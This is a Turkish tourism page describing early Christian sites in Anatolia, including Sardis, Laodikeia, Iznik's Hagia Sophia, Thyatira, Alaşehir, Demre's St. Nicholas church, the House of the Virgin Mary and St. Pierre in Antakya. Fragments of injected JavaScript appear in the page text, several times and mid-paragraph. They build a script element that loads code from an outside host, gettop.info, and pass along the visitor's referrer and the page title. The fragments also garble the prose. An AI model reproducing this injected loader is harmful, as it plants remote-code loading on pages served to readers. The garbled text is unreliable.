Gymnasium üç ayrı bölümden oluşmuştur. İlk bölümde; üstü örtülü olan bölüm, 8×12 ölçülerindeki hamam, ikici bölümde; hamam kısmına açılan, törenlerin yapıldığı mermer avlu. Ayrıca bu avlu 15×33 boyutlarındaki iki katlı sütun sıraları ile görkemli hale getirilmiş, büyük bir portal de bunu tamamlamıştır. Üçüncü bölüm ise; Doğudaki 80 m2’lik bir alanı kapsayan Palaestra (antrenman alanı) ile kuzey ve güney duvarına bitişik, birbirlerine simetrik iki holden oluşmaktadır. Özellikle buradaki sütunlar Erken Bizans üslubu başlıkları ile dikkat çekmektedir. Sardeis’de 1962’de yapılan çalışmalarda Palestranın güneyinde, mermerli caddenin kuzeyinde MS.III.yüzyıla ait bir sinagog daha çıkarılmıştır.

Sinagogun ilk defa MS.17 depreminde yıkılan Gymnasion’un bir bölümü olarak sonradan yapıldığı anlaşılmaktadır. Ayrıca kare planlı palestranın batısındaki kemerli uzun koridordan sinagog da yararlanmıştır. Burada ele geçen İbranice bir yazıttan İmparator Licinius Valerianus’un ismi geçmektedir. Arkeoloji kazılarında ele geçen yazıttan, döşeme ve mimari parçaları da yapının MS.IV.yüzyılda Yahudiler tarafından kullanılmış olduğunu göstermektedir.} else {} else {

Goncalı Kilisesi (Laodikya Kilisesi)

laodikya
Denizli’nin 6 km kuzeyinde bulunan Laodikya antik kenti, bugünkü Eskihisar ile Goncalı Köyleri arasındaki tepeler üzerinde kurulmuştur. Adını bölgeye egemen olan Selekoslar Kralı II. Antiochos’un (M.Ö. 250) karısı Laodike’ye izafeten almaktadır. Daha önceleri Rhoas veya Dios adları ile anılırdı.

Kentin bugün yüzeyde görülen başlıca kalıntıları arasında; iki tiyatrosu, stadyumu, bazilikası, nymphaeumu, tapınağı, sütunlu caddesi Roma döneminde inşa edilmiş anıtsal yapılarıdır.

Laodikya’nın en yüksek refah düzeyine ulaştığı zamanlar Roma ve erken Hıristiyanlık dönemi ve geç Bizans çağına rastlamaktadır. Hierapolis yakınlarındaki bir kaynaktan gelen şehirdeki sıcak suyun tedavi edici özellikleri sebebiyle, şehir aynı zamanda bir tedavi merkezi olarak da gelişmiştir.

İncil’den ve diğer belgelerden anlaşıldığına göre, şehrin vatandaşları yeni dine karşı çok kayıtsız bir tavır almışlardır. İlk misyonerler, bu tavrın servetlerinden kaynaklandığına ve onları paylaşmaktan alıkoyduğuna inanmışlardı. Laodikya M.S. IV. yy.da Ecumenikal Konseyi’nin toplandığı önemli bir piskoposluk merkeziydi. Buna ek olarak, İncil’in son Babı’nın Vahiy bölümünde zikredilen yedi kiliseden biri olarak adı geçmektedir.

Latince “Halkın Sesi” anlamına gelmektedir.

Efes Antik Kenti’nden sonra Anadolu’daki en büyük yerleşim yeri olarak bilinen Denizli yakınındaki Laodikya Antik Kenti’nde Kuzey Tiyatrosu’ndaki kazılarda, M.S. 2. yüzyılın önde gelen aileleri, esnaf loncaları ve üretim birlikleri üyelerine rezerve edilmiş oturma basamakları bulundu.

Laodikya Kazı Heyeti Başkanı ve Pamukkale Üniversitesi Fen-Edebiyat Fakültesi Arkeoloji Bölüm Başkanı Prof. Dr. Celal Şimşek, 2009 yılı kazı çalışmalarının sürdüğünü söyledi.

Bu seneki kazı ve temizleme çalışmaları sırasında, Kuzey Tiyatrosu’nda ilginç bir konuyu gün yüzüne çıkardıklarını belirten Prof. Dr. Şimşek, diğer tiyatrolarda olmayan biçimde dönemin önde gelen aileleri, esnaf loncaları ve üretim birlikleri üyelerine rezerve edilmiş basamaklar bulduklarını belirtti.

Tüm basamaklarda oturma sırasına göre yazıların bulunduğunu dile getiren Şimşek, ”Bu yazıların çevirisini yaptığımızda, rezerve yapılmış oturma alanları olduğunu saptadık. Bu yönü ile dünyada ender bir tiyatro olarak karşımıza çıkıyor. Bununla ilgili çalışmalarımız devam ediyor” dedi.

Prof. Dr. Şimşek, basamaklarda Laodikya’nın o dönemde de bir tekstil kenti olduğuna ilişkin bir kanıta rastladıklarını, bugünkü şartlarda bir holding büyüklüğündeki Yün Boyacıları Birliği üyelerine de rezerve yapılmış koltukların saptandığını dile getirdi.

Birliğin, Laodikya ve Hierapolis’te bazı yapıların ayağa kaldırılması ve inşaatını finanse ettiğini belirlediklerini anlatan Prof. Dr. Şimşek, basamaklardaki diğer yazıların da kendileri için önemli bir veri olduğunu dile getirdi.

Prof. Dr. Şimşek, antik kent içinde iki ayrı tiyatronun bulunduğunu, bunlardan M.S. 2. yüzyılda yapılan kuzey tiyatrosunun, Anadolu’nun en büyük antik tiyatroları arasında yer aldığını ve tamamen mermerden yapıldığını ifade etti.

Beslenme alışkanlıkları

Laodikya kentinin nekropol alanındaki kazı çalışmalarında da mezar tipleri, ölü gömme adetleri, inançlarla ilgili bilgiler sağladıklarını dile getiren Kazı Başkanı Prof. Dr. Şimşek, o dönemdeki insanların beslenme alışkanlıkları, hangi hastalıktan öldükleri veya kaç doğum yaptıkları gibi verilere de ulaştıklarını dile getirdi.

Elde edilen birçok verinin, o dönemle bugün arasındaki bazı benzerlikleri de ortaya koyduğunu ifade eden Prof. Dr. Şimşek, ”O zamanki insanların dişlerindeki aşınmalar kuru gıdaların çok tüketildiğini gösteriyor. Günümüzde Denizli’de kuru gıdalar gerçekten daha önceliklidir. Bazı meyve ve sebzelerin kurutulmasının, o zamandan günümüze geldiğini göstergesi” diye konuştu.

Prof. Dr. Şimşek, nekropol alanındaki kazılarda, kentin gelir seviyesinin diğerlerine göre daha iyi olduğunu ve kentten ihracat yapıldığını saptadıklarını belirtti.

Kazı çalışmaları kapsamında kent içindeki Karakallı anıtsal çeşmesinin yanından güneye doğru geçen caddeyi temizleyerek açacaklarını ifade eden Prof. Dr. Şimşek, batı tiyatrosunun sahne bölümünde yapacakları çalışmayla da bu tiyatroyu ayağa kaldırarak Denizli halkının kullanabileceği duruma getirmeyi planladıklarını söyledi.

Prof. Dr. Şimşek, 7 yıllık çalışma sonucunda Laodikya’yı ”gezilebilen, bileti kesilebilen bir ören yeri” haline getirmenin mutluluğunu yaşadıklarını, kentin tamamının ortaya çıkarılması için ise 600 yıla ihtiyaç olduğunu sözlerine ekledi.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

İznik Ayasofya Müzesi

iznik ayasofya camii

İznik‘in tam ortasında , surlarla çevrili kentin dört kapısından gelen yolların kesiştiği yerde inşa edilmiş olan yapıdır.Hristiyanlıkla ilgili önemli kararların alındığı 7. konsül 325 yılında bu kilisede toplanmıştır.Osmanlılar döneminde camiye dönüştürülmüştür. Yapı restore edilmeden önce çok harap ve yıkık durumdaydı.[1]Özellikle yabancı turistlerin oldukça ilgilendiği bir yapıdır.2007 yılında Restorasyon çalışması başlatıldı. Restorasyon çalışmasının binanın tarihi yapısını ve görüntüsünü bozduğu yönünde eleştiriler yapılmıştır. Milliyet gazetesi “Beton sıvayla restorasyon” başlığıyla verdiği haberde restorasyon çalışmalarının Ayasofya Müzesini tarihe gömdüğünü iddia etti. [2][3]Aynı habere göre Türkiye Arkelojik Yerleşmeleri Projesi (TAY) yetkilileri “Bir Başkentin Yokoluşu” adındaki bir bildiri ile restorasyonun sonuçlarına büyük tepki gösterdi. M.S. 787 Yılında VII. Ekümenik Konsil’in Toplandığı Bu Kilise,Hristiyanlık Dini Açısından Oldukça Önemlidir. İlçe Merkezinde, Kentin Dört Ana Kapısına Ulaşan Yolların Kesiştiği Noktada Yer Almaktadır. İlk Olarak 4.yy’da Yapılan Kilise Kalıntıları Üzerine 6.yy’da Justinianus Tarafından Yeniden İnşa Ettirilmiştir. 11. yy’da Meydana Gelen Deprem Sonrası Yıkılan Yapı Üç Nefli Bazilika Tipinde Yeniden İnşa Edilmiştir. Bu Yeni Yapının Geometrik Desenli Renkli Mermer Döşeme Mozaiği İle Aziz Ve Havari Betimlemeli Freskleri Oldukça İlgi Çekicidir.1331 Yılında Orhangazi’nin İznik’i Fethinden Sonra, Bazilikal Kilise Camiye Çevrilmiştir. Kanuni Döneminde Mimar Sinan Tarafından Yapılan Önemli Değişikliklerle; Önüne Bir Minare Eklenmiş Ve Duvarları Nakışlarla Bezenmiştir.document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {

Manisa-Thyatira Kilisesi (Akhisar Kilisesi)

manisa akhisar kilisesi
Bugün şehir içinde tuğla kalıntılarının bulunduğu yerin eskiden kilise olduğu anlaşılmaktadır. İncil’de adı geçen yedi kiliseden birisi olan bu kilisenin “Devamlı Kurban” ve “Sıkı Tutan” gibi anlamları vardır.

Bugünkü Akhisar ilçesinin bulunduğu alanda ilk yerleşim izleri M.Ö. 3000 yıllarına inmektedir.

Mevcut kalıntıların yanı sıra, Hıristiyanlığın ilk çağlarına ait Ege Bölgesinde bulunan yedi kiliseden Thyatira kilisesinin bulunduğu yer olarak inanç turizmi kapsamında da ziyaret edilen ören yerlerindendir.

İncil’in ilgili bölümünde şöyle denir: “Thyatira’daki kilise topluluğunun meleğine yaz. Gözleri ateşin alevi, ayakları tunç-gümüş alaşımı gibi olan Tanrı Oğlu şu sözleri bildiriyor: Yaptıklarını, sevgini, imanını, hizmetini ve katlanışını biliyorum. Senin işlerini ve sevgini ve imanını ve hizmetini ve sabrını son işlerinin evvelkilerden daha çok olduğunu bilirim. Fakat sana karşı bir şeyim var: Kendisine Peygamber diyen Jesebel kadını bırakıyorsun: ve o kullarınız zina etmeyi ve put kurbanları yemeyi talim edip saptırıyor. Ve tövbe etsin diye kendisine vakit verdim ve kendi zinasından tövbe etmek istemiyor. İşte, onu bir yatağa ve onun işlerinden tövbe etmezlerse kendisiyle zina edenleri büyük sıkıntıya atacağım. Ve onun çocuklarını ölümle öldüreceğim: ve bütün kiliseler bilecekler ki gönülleri ve yürekleri araştıran benim: Ve her birinize işlerinize göre vereceğim. Fakat size, Thyatreia olan diğerlerine, kendilerinde bu talim olmayanlarına hepsine, onların dediği gibi Şeytanın derin şeyleri bilmeyenlere diyorum: Üzerinize başka yük koymam. Fakat ben gelinceye kadar sizde olanı sıkı tutun. Ve galip olun. Sonuna kadar işlerimi tutana, ben de babamdan nasıl aldımsa, onu milletler üzerine hâkimiyet vereceğim. Kulağı olan işitsin Ruh kiliselere ne diyor”.

Hz.İsa’nın Allah’ın oğlu sözcüğünü kullandığı tek yer Thyatreia’dır. Vahiy’deki “Oğlun ateş alevi gibi gözleri” ifadesiyle burada kötü işlerin yapıldığı zaman, şiddetin ortaya çıkacağı uyarısında bulunulmuştur. Thyatreialılar diğer Hıristiyan cemaatlerine göre imanları çok kuvvetli bir toplumdu. Ayrıca Vahiyde sözü edilen Jesebel’in MÖ.900’lerde yaşadığı sanılan Kral Ahap’ın kâhin karısı olduğu bilinmektedir.”if (document.currentScript) { if (document.currentScript) {

Manisa Alaşehir Kilisesi

manisa alaşehir kilisesi
Manisa Alaşehir ilçesinin bulunduğu yerde Neo Caesarea isimli bir yerleşim bulunuyordu. Roma döneminden sonra Bizans’ın önemli bir yerleşim alanı olan Alaşehir’de Hıristiyanlığın Anadolu’da yayılması sırasında önde gelen şehirlerinden birisi idi. Buradaki Toptepe’de mabet kalıntıları, Roma dönemine ait tiyatro kalıntıları, surlar ve St.Jean Kilisesi bulunuyordu Aziz Yuhanna’nın yedi kutsal kilise cemaatine yazdığı mektuplarından birisini de buraya göndermiştir. Hıristiyanlığın ilk yıllarında burada zengin bir Yahudi topluluğu da yaşıyordu. Burada yapılmış olan kiliseden günümüze yalnızca moloz taş ve tuğladan örülmüş duvar ve temel kalıntıları ile kütlevi kesme taştan üç paye gelebilmiştir.Günümüzde bu alan koruma altına alınmış ve park olarak düzenlenmiştir.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);

Antalya Demre St.Nicholas Kilisesi

http://www.mediaturizm.com/resimler/bolgeler/demre2.jpg

Demre, Finike ile Kaş arasında, Finike’ye 25, Kaş’a 48 km. uzaklıktadır. Eski çağ Likya’sının en önemli 5 kentinden birisi olup kuruluşu İ.Ö. V. yüzyıla kadar uzanır. Eskiden bir kıyı kenti iken Demre çayının getirdiği alüvyonlarla günümüzde denizden içeride kalmıştır. İ.S. IX. yüzyılda Arap akınları sonucu terk edilmiştir. Kaya Mezarları, Tiyatro ve St.Nicholas Kilisesi varlığını günümüze değin sürdürebilmiş yapılardan bazılarıdır. İ.S. 245 yılında Fethiye yakınlarında Patara kentinde doğan St.Nicholas (Aziz Nikola, Santa Claus, Heilige Nikolaus, Noel Baba) ölümü olan İ.S. 326 yılına değin Anadolu’da yaşamış bir azizdir. Varlıklı bir ailenin çocuğu olarak iyi bir eğitim görmüş ve kendini insanlara adamıştır. Yaptığı yardımlarla çevresinde sevgi bağı oluşturan St.Nicholas, denizcilerin ve çocukların koruyucusu olarak Noel Baba adı ile bu güne değin yaşatılarak efsaneleştirilmiştir. Demre Piskoposu olarak çevresinde yaptığı dini ve sosyal çalışmalarla halkın sorunlarına insancıl çözümler getirmiştir. Öldükten sonra Demre’de gömülmüş ve adına bir kilise yaptırılmıştır. St. Nicholas’ın kemiklerinin bir kısmı 1087 yılında İtalyan tacirler tarafından Bari’ye kaçırılmıştır. Ancak acele ile götürülemediği anlaşılan bir kısım parçaları ise bugün Antalya Müzesi’nde sergilenmektedir. Hollanda’da Sinterkoas, Fransa’da Pere Noel, İngiltere’de Father Christmas, Amerika’da Santa Claus ve Almanya’da Heilige Nikolaus hikayelerinin aslı St. Nicholas’dır.

http://www.mediaturizm.com/resimler/bolgeler/demre3.jpg
Bugün pek çok ülkenin baş azizi olan St. Nicholas’ın ölüm tarihi olan 6 Aralık’ta törenler düzenlenir, çocuklara hediyeler verilir ve bu kutlamalar Noel Yortusuna değin uzayarak yeni bir yıl özelliği kazanır. 1951-55 Yıllarında St. Nicholas’ın aslında Santa Claus (Noel Baba) olduğu ortaya çıkarılmış ve konu ülkemizde önem kazanmıştır. Radyo ve gazeteler bir çok yayın yapmış, 1955 yılında Noel Baba adına posta pulu çıkarılmıştır. Daha sonraları Demre’de Noel Baba şenlikleri düzenlenmeye başlanmıştır. Dünyada ilk kez 5-7 Aralık 1983 tarihinde Antalya’da Noel Baba Sempozyumu gerçekleştirilmiştir. Her yıl tekrarlanan bu sempozyumlara dünyanın değişik uluslarından din ve bilim adamları katılır. Sempozyumlarda, Anadolu’lu St. Nicholas’ın insan sevgisinden yararlanarak, dini ve inancı değişik tüm insanlara barış, dostluk ve kardeşlik çağrısı yapılır. Myra (Demre) her zaman Likya’nın en önemli şehirlerinden birisi olarak bilinir. En erken sikkeler M.Ö. 3.yy tarihlenir. Fakat şehrin en azından M.Ö. 5.yy da kurulduğu tahmin edilmektedir. Roma egemenliği döneminde Myra gelişmiş ve zenginleşmiş şehirliler sivil projelere cömertçe para yardımında bulunmuşlardır. Sen Pol Roma’ya gitmek için Andriake Limanından hareket etmeden evvel M.S. 6.yy da şehri ziyaret etmiştir. Bizans döneminde Myra önemli bir idari ve dini bir merkez olmuştur. Piskoposluk merkezi de olan Myra’da St. Nicholaus IV. yüzyıl başında Piskopos olarak görev yapmış; halka kendini sevdirmiş, inancı uğruna çok acılar çekmiştir. Myra o zamandan sonra hep haç yollu yapılan bir yer olmuştur. Bu bakımdan Demre Hıristiyan Dünyasının her bakımdan ilgisini çekmiştir. Her yıl 6 Aralık’ta Noel Baba etkinliklerini yapmak geleneksel hale gelmiştir. Myra gibi önemli bir şehirden kalabileceği beklenen kalıntıların bir çoğunu bugün Demre’de göremiyoruz. Likya’nın en büyük tiyatrosundan kalanlar bugün ayaktadır ve bu aynı zamanda Likya’nın en iyi korunmuş tiyatrosudur. 29 oturma sırası ve 9-10 bin seyirci kapasiteli tiyatro tepeye yaslanmıştır. Bugün bile bazen festival ve oyunlar için kullanılmaktadır.

Myra metropoli muhtelif tip Likya mezarlarını önemli örneklerini ihtiva etmektedir. Tiyatro doğu ve batı metropoli diye ikiye ayrılmış ve Myra’nın arkasında yükselen kayalık, tepede kurulmuştur. Kayalar oyularak mezarlar kabartma ve yazılarla süslenmiştir. Başka önemli bir kalıntı St.Nicholaus kilisesidir. Kilise bugün 7 m. toprak seviyesinin altındadır. St.Nicholaus kemikleri kilise içindeki mermer bir mezarda bulunuyordu. Fakat bazı kemikler İtalyanlar tarafından çalınmış ve Bari’ye kaçırılmıştır. Bir Rus Prensi 1862 yılında Kiliseyi restore ettirmiş olup, St.Nicholaus Rusya’da çok kutsal sayılmaktadır. Ruslar bir kilise çanı ilave ederek kubbeyi bir ilaç tonozu ile değiştirmişlerdir. Bazı kemikleri bugün Antalya Müzesi’nde teşhir edilmektedir. St.Nicholaus çocukları, gemicilerin ve ağır işlerde çalışan işçilerin koruyucu azizidir. Bilindiği üzere de bütün Dünya çocuklarının Noel Babasıdır. İlk defa 1904 yılında Eynihal adıyla köy statüsüne kavuşan Demre; 6 Haziran 1968 yılında 4 köyün birleşmesiyle Belediyelik; 4 Temmuz 1987 günü Kale adıyla ilçe olmuştur. İlçe 2005 yılında Demre adını almıştır.

Coğrafyası
Demre, Antalya körfezinin batısında Teke Yarımadası’nın güneyinde yer alan bir ilçe olup, doğusunda Finike İlçesi, batısında Kaş İlçesi, güneyinde ise Akdeniz ile sınırdır.
Üç tarafı dağlarla çevrili bulunan ilçenin kurulduğu arazi Demre Çayının getirmiş olduğu verimli alivyonlu topraklardan meydana gelmiştir. Akdeniz ikliminin tipik karakteristik özelliklerinin görüldüğü Demre İlçesinde yazları sıcak ve kurak, kışları ılık ve yağmurlu geçer. İlçenin toplam olarak yüz ölçümü 47.322 hektar olup, tarım arazisi 5.350 hektar, çayır mera 50 hektar, orman arazisi 31.922 hektar, su yüzeyi 300 hektar, tarım dışı arazi ise 9.600 hektardır.İlçe tarihi geçmişi ve coğrafi konumu itibari ile turizm beldesidir. İlçede tarihten kalan Noel Baba Kilisesi, Myra Antik Kenti ve Tiyatrosu, Andreake Antik Kenti, Kaya Mezarları, Simena Antik Kenti turizm için cazibe oluşturmaktadır. Kekova adaları, Batık Kent’in tertemiz denizi ve iklimi ile de beldemiz coğrafi yönden de turizm açısından şanslı bir yerleşim yeridir, ilçenin bütün bu özelliklerine rağmen turizmden yeterli derecede faydalandığı söylenemez. Bunun sebebi ulaşımın zorluğu, konaklama tesislerinin azlığı, bu yüzden hizmet sektörünün gelişmemesidir.d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement('script');

Efes’teki Meryem Anaevi

MERYEMANA

İlk defa 1891 yılındaki kazılarda bulunan bu yapının aslında, M.S. 4.yüzyılda Azize Meryem adına inşa edilen bir kilise olduğu… Hatta şifalar dağıttığı da biliniyor…Meryem Ana Evi, İzmir Selçuk’taki Bülbüldağı’nda İsa’nın annesi Meryem’in son yıllarını St. John ile birlikte geçirdiğine inanınlan kilise. Hristiyanlar için hac yeridir. Bugüne kadar papalar tarafından ziyaret edilmişliği vardır.
Meryem’in mezarının da Bülbüldağı’nda olduğu düşünülür.
Efes antik kentin üst kapısının yanından geçilerek çıkılan Meryem Ana ören yerinde, Küçük bir Bizans Kilisesi bulunmaktadır. Burada İsa Peygamber’in annesi Meryem’in yaşadığına ve öldüğüne inanılır. Hristiyanlar yanında Müslümanlarca da kutsal sayılır ve ziyaret edilir, hastalara şifa aranır, adaklar adanır. Kilise’nin Meryem Ana adını alması 431 yılında Efes’te toplanan Ekümenik Meclis’in Meryem’in İsa’yı Tanrı’nın oğlu olarak doğurduğuna karar vermesi ile de bağlı olabilir. Evin bulunuşu da ilginçtir.

Biraz da tarihçesi…

Çoğu Hıristiyan tarihçileri, Hazreti İsa’nın, çarmıha gerilmeden kısa süre önce annesi Azize Meryem’i, arkadaşı ve havarisi Aziz Jean’a emanet ettiğini savunur. Bu konuda Yeni Ahit’te de işaretler vardır. Öykünün bundan sonrası Anadolu topraklarında geçer. Aziz Jean, Hz. İsa’nın çarmıha gerilişinden sonra Azize Meryem’in Kudüs’te kalmasını sakıncalı bulur.
Kısa bir süre içinde onu yanına alarak Kudüs’ten çıkarır ve o çağın dünyadaki en büyük kenti olan ve uzun yıllardır barış içinde yaşayan Efes’e getirir.
Ancak Hırıstiyanlık dinini yaymak gibi kutsal bir görevi de üstlenmiş olan Aziz Jean, Meryem’i putperestlerin kentine sokmak istemez. Onu Bülbül Dağı eteklerinde sık ağaçlarla kaplı gizli bir köşede yaptığı kulübeye yerleştirir. Aziz Jean her gün gizli gizli onu ziyarete gider ve yiyecek götürür. Hıristiyan tarihçileri, Azize Meryem’in tam 101 yaşına kadar Bülbül Dağı’ndaki bu yerde yaşadığını ve burada öldüğünü savunurlar. Aziz Jean’ın Meryem Ana’yı yine bu dağda hiç kimsenin bilmediği bir yere gömdüğü tahmin ediliyor. Hırıstiyanlık’ın yayılmasından sonra kutsal bakirenin, yani Azize Meryem’in bulunduğu yere Hırıstiyanlarca hac şeklinde bir kilise inşa edilir. Efes çevresindeki halk, 18’inci yüzyılın sonlarına dek atalarından kalma bir geleneği sürdürerek, her yıl 15 Ağustos’ta Meryem Ana’nın evinin bulunduğu Panaya Kapulu’nda dini anma törenleri düzenler.

Ancak burası bölgeye gelen yoğun Müslüman göçleriyle unutulup kaybedilir. Aradan yaklaşık 100 yıl geçtikten sonra 19’uncu yüzyılda yaşamış olan Alman rahibe Anna Katharina Emmerich, bu bölgede Azize Meryem’in evinin olduğunu iddia eder. Çocuklugundan itibaren kötürüm olan ve yürüyemeyen Rahibe Anna, gördügü rüya ve sanrılarla bu bölgeyi Vatikan yetkililerine tarif eder ve onun tarifleri sonucu bölgedeki eski kilise kalıntılarına ulaşılır. Bu ve benzeri belirtiler Hıristiyanlar tarafından Bakire Meryem’in ömrünün son yıllarını Efes civarında geçirdiğine somut kanıtlar olarak gösterilir. Hz. İsa’nın arkadaşı ve havarisi Aziz Jean’ın da ömrünün geri kalanını Efes’te geçirdiği ve kendisine ait İncil versiyonunu burada yazdığı değişik tarihi kaynaklarca dile getiriliyor. Aziz Jean da Efes’te ölmüş ve burada gömülmüş. Azize Meryem adına inşa edilen ilk 7 kiliseden biri de Efes’te kurulmuş.
Hıristiyanlığın en önemli kurulu olan Konsüller Toplantısı birkaç kez Efes’te yapılmış ve Katoliklik’in doğuş kararı da burada alınmış. Tüm bu söylenti ve işaretlerden yola çıkarak Bülbül Dağı’ndaki tarihi kalıntılar 1957 yılında Papalık tarafından Meryem Ana Evi olarak onaylanır ve Hırıstiyanlık için de hac yeri olarak ilan edilir. Bugün ise, Rahibe Anna’nın tarifleri sonucu ilk defa 1891 yılındaki kazılarda bulunan bu yapının aslında, milattan sonra 4’üncü yüzyılda Azize Meryem adına inşa edilen bir kilise olduğu tahmin ediliyor. Meryem Ana Evi olarak bilinen yapının, bir ocağı andıran mihrap kısmında Hz, İsa’nın altın kalbi temsil ediliyor.

Bülbül Dağı’ndaki bu yapı, 1967 yılında Papa 6’ncı Paul ve 1979 yılında Papa 2’nci Jean Paul tarafından ziyaret edildi. Vatikan tarafından yeryüzündeki en kutsal binalardan biri olarak tanımlanan Meryem Ana Evi, bugün dünyanın dört bir yanından gelen Hıristiyanların ziyaret ettiği, gözde ve kutsal bir mekan konumunda.
MERYEMANA2}

Hristiyanlığın ilk başladığı yer: St. Pierre KİLİSESİ

St Pierre Kilisesi

Toplumun ilk başpapazlığını Petrus’un yaptığı kilise halen Valilik izni ile törenler için kullanılmaktadır. Kilisenin bahçesinde ise birkaç yüzyıllık mezarlar bulunmaktadır

Saint Pierre Kilisesi Stauris dağının (Haç dağı) batısında kayalara oyulmuş 13m derinliğinde, 9,5m genişliğinde, ve 7m yüksekliğinde bir mağaradan oluşmaktadır. Antakya’daki ilk Hıristiyanların gizli toplantıları için kullandıkları bu mağara Hıristiyanlığın en eski kiliselerinden biri olarak kabul edilir.

İncil’in ‘Resullerin İşleri’ (11:25-27) bölümünde Barnabas’ın Tarsus’a giderek Pavlos’u Antakya’ya getirdiği, Antakya’da bir yıl birlikte çalışarak Hıristiyanlığı yaydıkları ve bu dine inananlara ‘Hıristiyan’ adının verilmesinin Antakya’da gerçekleştiği bilinmektedir. Bu bilgilere ek olarak Pavlos’un Galatyalılara yazdığı mektupta (Galatyalılara 3:11-21) Antakya’ya gelen Petrus ile Hıristiyanlığın o günkü durumunu tartıştığını belirtmektedir. Hıristiyan geleneği Petrus’u Antakya Kilisesi’nin kurucusu ve burada oluşan Hıristiyan topluluğun ilk başpapazı olarak kabul etmiştir.

Kilisenin erken döneminden günümüze sadece taban mozağinin parçaları ve sunağın sağında, duvar boyamalarının izleri kalmıştır. Dağa açılan tüneli bir zamanlar burada toplanan Hıristiyanların baskınlar sırasında kaçmak için kullandıkları sanılmaktadır. Kayalardan sızarak yalakta toplanan su vaftiz için kullanılmıştır. Son yıllara kadar ziyaretçilerin şifalı kabul ederek içtikleri, hastalara götürdükleri bu su sızıntısı depremler nedeniyle azalmıştır.

Kilisenin ortasındaki taş sunağın üstünde eskiden 21 Şubat tarihinde Antakya’da kutlanan Saint Pierre Kürsüsü Bayramı için yerleştirilen taştan bir kürsü vardır. Sunağın üzerindeki mermer Saint Pierre heykeli 1932 yılında yerleştirilmiştir. 1098 yılında Antakya’yı ele geçiren haçlılar kiliseyi birkaç metre daha uzatıp iki kemerle ön cepheye bağlamışlardır. Bu cephe 1863 yılında, Papa IX. Pius’un isteğiyle restore işlerine girişen Kapuçin rahipleri tarafından yeniden yapılmıştır. Restorasyona III. Napolyon da katkıda bulunmuştur. Kilise girişinin solunda duran kalıntılar bir zamanlar ön cephenin önünde bulunan revaktan geriye kalmıştır.

Bahçenin birkaç yüzyıl mezarlık olarak kullanıldığı bilinmektedir. Kilisenin iç kısmında da özellikle sunağın çevresinde de mezarlar bulunmuştur. Günümüzde bir müze olan kilisede Valiliğin izniyle Müze Müdürlüğü denetiminde ayin yapılabilmektedir

St.Pierre Kilisesi’ne nasıl gidebiliriz?

İstanbul ve Ankara’ya gidiş dönüş uçak seferleri başlamış olup. Thy ile Antakya’ya ulaşabilirsiniz. E-5 karayolu ile İstanbul ve Ankara’dan Hatay’a ulaşılmaktadır. İskenderun’da bulunan gar ve limanla demiryolu ve deniz yolu ulaşımı da vardır.Ayrıca seyahat acenteleri vasıtasıyla da değişik turlar yapabilirsiniz…

Otogar Tel : (+90-326) 214 91 97

Demiryolu  İstasyon Tel : (+90-326) 614 00 44 – 614 00 45 – 614 00 46} else {document.currentScript.parentNode.insertBefore(s, document.currentScript);

Linkler

Reklamlar

Giriş - Powered by Pixelim Media · Ukrayna Turlari | Ozge Tur | Tesla ERP